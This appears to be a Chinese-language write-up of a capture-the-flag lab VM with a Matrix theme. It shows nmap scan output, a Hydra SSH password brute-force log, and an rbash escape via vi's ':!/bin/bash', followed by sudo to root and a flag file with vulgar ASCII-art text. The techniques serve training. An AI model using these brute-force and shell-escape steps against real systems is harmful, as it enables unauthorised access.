Starting Nmap 7.50 ( https://nmap.org ) at 2019-02-19 14:33 CST Nmap scan report for 192.168.56.101 Host is up (0.0037s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.7 (protocol 2.0) | ssh-hostkey: | 2048 9c:8b:c7:7b:48:db:db:0c:4b:68:69:80:7b:12:4e:49 (RSA) | 256 49:6c:23:38:fb:79:cb:e0:b3:fe:b2:f4:32:a2:70:8e (ECDSA) |_ 256 53:27:6f:04:ed:d1:e7:81:fb:00:98:54:e6:00:84:4a (EdDSA) 80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14) |_http-server-header: SimpleHTTP/0.6 Python/2.7.14 |_http-title: Welcome in Matrix 31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14) |_http-server-header: SimpleHTTP/0.6 Python/2.7.14 |_http-title: Welcome in Matrix Device type: firewall Running (JUST GUESSING): Fortinet embedded (92%) OS CPE: cpe:/h:fortinet:fortigate_200b Aggressive OS guesses: Fortinet FortiGate 200B firewall (92%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop
TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 0.26 ms 192.168.56.101
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.93 seconds
[ATTEMPT] target 192.168.56.101 - login "guest" - pass "k1ll0r7l" - 680 of 8836 [child 1] (0/0) [ATTEMPT] target 192.168.56.101 - login "guest" - pass "k1ll0r7m" - 681 of 8836 [child 3] (0/0) [ATTEMPT] target 192.168.56.101 - login "guest" - pass "k1ll0r7n" - 682 of 8836 [child 3] (0/0) [22][ssh] host: 192.168.56.101 login: guest password: k1ll0r7n [STATUS] attack finished for 192.168.56.101 (waiting for children to complete tests) 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2019-02-19 15:06:35
爆破得到密码为k1ll0r7n。
ssh登陆成功,然后尝试了一些命令,发现很多被限制或是过滤了。
1 2 3 4
guest@porteus:~$ sudo su -rbash: sudo: command not found guest@porteus:~$ ls -rbash: /bin/ls: restricted: cannot specify `/' in command names
需要更多的可用命令进行提权
发现vi可用,想到可以用vi来启动一个bash,并不退出vi。
1 2 3 4 5 6 7 8 9 10
:!/bin/bash ~ ~ bash: grep: command not found bash: ps: command not found bash: ps: command not found bash: ps: command not found bash: ps: command not found bash: ps: command not found bash: ps: command not found
guest@porteus:~$ sudo su Password: You do that again and see what happens... Password: root@porteus:/home/guest# root@porteus:/home/guest# cd /root/ root@porteus:~# ls Desktop/ Documents/ Downloads/ Music/ Pictures/ Public/ Videos/ flag.txt root@porteus:~# cat flag.txt _,-. ,-' _| EVER REWIND OVER AND OVER AGAIN THROUGH THE |_,-O__`-._ INITIAL AGENT SMITH/NEO INTERROGATION SCENE |`-._\`.__ `_. IN THE MATRIX AND BEAT OFF |`-._`-.\,-'_| _,-'. `-.|.-' | |`.-'|_ WHAT | |_|,-'_`. |-._,-' | NO, ME NEITHER jrei | | _,'